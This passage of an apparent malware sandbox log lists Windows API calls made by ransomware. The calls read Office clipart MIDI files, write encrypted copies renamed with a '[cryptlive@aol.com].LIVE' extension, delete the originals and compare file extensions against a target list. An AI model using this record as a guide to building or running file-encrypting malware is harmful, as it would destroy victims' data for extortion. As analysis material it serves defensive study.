Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.841] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.841] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0134.841] GetLastError () returned 0x0 [0134.841] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x1cb3, lpOverlapped=0x0) returned 1 [0134.864] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1cc0, lpOverlapped=0x0) returned 1 [0134.865] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.866] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.866] SetEndOfFile (hFile=0x1fc) returned 1 [0134.875] CloseHandle (hObject=0x1fc) returned 1 [0134.877] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.877] SetEndOfFile (hFile=0x2f8) returned 1 [0134.888] CloseHandle (hObject=0x2f8) returned 1 [0134.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0134.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0134.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0134.899] lstrlenW (lpString=".doc") returned 4 [0134.899] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.899] lstrlenW (lpString=".docx") returned 5 [0134.899] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0134.899] lstrlenW (lpString=".pdf") returned 4 [0134.899] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.899] lstrlenW (lpString=".xls") returned 4 [0134.899] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.899] lstrlenW (lpString=".xlsx") returned 5 [0134.899] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0134.899] lstrlenW (lpString=".ppt") returned 4 [0134.899] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0134.899] lstrlenW (lpString=".zip") returned 4 [0134.899] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.899] lstrlenW (lpString=".rar") returned 4 [0134.900] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.900] lstrlenW (lpString=".bz2") returned 4 [0134.900] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.900] lstrlenW (lpString=".7z") returned 3 [0134.900] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0134.900] lstrlenW (lpString=".dbf") returned 4 [0134.900] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0134.900] lstrlenW (lpString=".1cd") returned 4 [0134.900] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0134.900] lstrlenW (lpString=".jpg") returned 4 [0134.900] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0134.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0134.900] lstrlenW (lpString=".doc") returned 4 [0134.900] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.900] lstrlenW (lpString=".docx") returned 5 [0134.900] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0134.900] lstrlenW (lpString=".pdf") returned 4 [0134.900] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.900] lstrlenW (lpString=".xls") returned 4 [0134.900] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.900] lstrlenW (lpString=".xlsx") returned 5 [0134.900] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0134.900] lstrlenW (lpString=".ppt") returned 4 [0134.900] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0134.901] lstrlenW (lpString=".zip") returned 4 [0134.901] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.901] lstrlenW (lpString=".rar") returned 4 [0134.901] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.901] lstrlenW (lpString=".bz2") returned 4 [0134.901] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.901] lstrlenW (lpString=".7z") returned 3 [0134.901] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0134.901] lstrlenW (lpString=".dbf") returned 4 [0134.901] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0134.901] lstrlenW (lpString=".1cd") returned 4 [0134.901] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0134.901] lstrlenW (lpString=".jpg") returned 4 [0134.901] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.901] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.901] lstrlenW (lpString="PARNT_09.MID") returned 12 [0134.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0134.902] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6764) returned 1 [0134.902] CloseHandle (hObject=0x350) returned 1 [0134.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 0x20 [0134.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0134.902] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.902] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.903] GetLastError () returned 0x0 [0134.903] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x1a6c, lpOverlapped=0x0) returned 1 [0134.904] WriteFile (in: hFile=0x314, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0134.905] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.905] WriteFile (in: hFile=0x314, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.906] SetEndOfFile (hFile=0x314) returned 1 [0134.906] CloseHandle (hObject=0x314) returned 1 [0134.906] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.906] SetEndOfFile (hFile=0x350) returned 1 [0134.910] CloseHandle (hObject=0x350) returned 1 [0134.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0134.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0134.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0134.911] lstrlenW (lpString=".doc") returned 4 [0134.911] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.911] lstrlenW (lpString=".docx") returned 5 [0134.911] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0134.911] lstrlenW (lpString=".pdf") returned 4 [0134.911] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.911] lstrlenW (lpString=".xls") returned 4 [0134.911] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.911] lstrlenW (lpString=".xlsx") returned 5 [0134.911] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0134.911] lstrlenW (lpString=".ppt") returned 4 [0134.911] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0134.911] lstrlenW (lpString=".zip") returned 4 [0134.911] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.911] lstrlenW (lpString=".rar") returned 4 [0134.912] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.912] lstrlenW (lpString=".bz2") returned 4 [0134.912] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.912] lstrlenW (lpString=".7z") returned 3 [0134.912] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0134.912] lstrlenW (lpString=".dbf") returned 4 [0134.912] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0134.912] lstrlenW (lpString=".1cd") returned 4 [0134.912] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0134.912] lstrlenW (lpString=".jpg") returned 4 [0134.912] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0134.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0134.912] lstrlenW (lpString=".doc") returned 4 [0134.912] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.912] lstrlenW (lpString=".docx") returned 5 [0134.912] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0134.912] lstrlenW (lpString=".pdf") returned 4 [0134.912] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.912] lstrlenW (lpString=".xls") returned 4 [0134.912] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.912] lstrlenW (lpString=".xlsx") returned 5 [0134.912] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0134.912] lstrlenW (lpString=".ppt") returned 4 [0134.912] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0134.912] lstrlenW (lpString=".zip") returned 4 [0134.913] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.913] lstrlenW (lpString=".rar") returned 4 [0134.913] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.913] lstrlenW (lpString=".bz2") returned 4 [0134.913] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.913] lstrlenW (lpString=".7z") returned 3 [0134.913] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0134.913] lstrlenW (lpString=".dbf") returned 4 [0134.913] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0134.913] lstrlenW (lpString=".1cd") returned 4 [0134.913] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0134.913] lstrlenW (lpString=".jpg") returned 4 [0134.913] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.913] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.913] lstrlenW (lpString="PARNT_10.MID") returned 12 [0134.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0134.914] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=5393) returned 1 [0134.914] CloseHandle (hObject=0x350) returned 1 [0134.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 0x20 [0134.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0134.914] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.914] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.149] GetLastError () returned 0x0 [0135.149] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x1511, lpOverlapped=0x0) returned 1 [0135.151] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1520, lpOverlapped=0x0) returned 1 [0135.152] ReadFile (in: hFile=0x350, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.152] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.152] SetEndOfFile (hFile=0x1ec) returned 1 [0135.152] CloseHandle (hObject=0x1ec) returned 1 [0135.152] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.152] SetEndOfFile (hFile=0x350) returned 1 [0135.155] CloseHandle (hObject=0x350) returned 1 [0135.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0135.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0135.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0135.172] lstrlenW (lpString=".doc") returned 4 [0135.172] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.172] lstrlenW (lpString=".docx") returned 5 [0135.172] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0135.172] lstrlenW (lpString=".pdf") returned 4 [0135.172] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.172] lstrlenW (lpString=".xls") returned 4 [0135.172] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.172] lstrlenW (lpString=".xlsx") returned 5 [0135.172] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0135.172] lstrlenW (lpString=".ppt") returned 4 [0135.173] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0135.173] lstrlenW (lpString=".zip") returned 4 [0135.173] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.173] lstrlenW (lpString=".rar") returned 4 [0135.173] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.173] lstrlenW (lpString=".bz2") returned 4 [0135.173] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.173] lstrlenW (lpString=".7z") returned 3 [0135.173] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0135.173] lstrlenW (lpString=".dbf") returned 4 [0135.173] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0135.173] lstrlenW (lpString=".1cd") returned 4 [0135.173] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0135.173] lstrlenW (lpString=".jpg") returned 4 [0135.173] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0135.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0135.173] lstrlenW (lpString=".doc") returned 4 [0135.173] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.173] lstrlenW (lpString=".docx") returned 5 [0135.173] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0135.173] lstrlenW (lpString=".pdf") returned 4 [0135.173] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.173] lstrlenW (lpString=".xls") returned 4 [0135.173] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.173] lstrlenW (lpString=".xlsx") returned 5 [0135.173] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0135.173] lstrlenW (lpString=".ppt") returned 4 [0135.173] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0135.173] lstrlenW (lpString=".zip") returned 4 [0135.174] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.174] lstrlenW (lpString=".rar") returned 4 [0135.174] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.174] lstrlenW (lpString=".bz2") returned 4 [0135.174] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.174] lstrlenW (lpString=".7z") returned 3 [0135.174] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0135.174] lstrlenW (lpString=".dbf") returned 4 [0135.174] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0135.174] lstrlenW (lpString=".1cd") returned 4 [0135.174] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0135.174] lstrlenW (lpString=".jpg") returned 4 [0135.174] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.174] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0135.174] lstrlenW (lpString="SWEST_01.MID") returned 12 [0135.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0135.175] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=8501) returned 1 [0135.175] CloseHandle (hObject=0x39c) returned 1 [0135.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 0x20 [0135.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0135.175] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.175] SetFilePointerEx (in: hFile=0x39c, 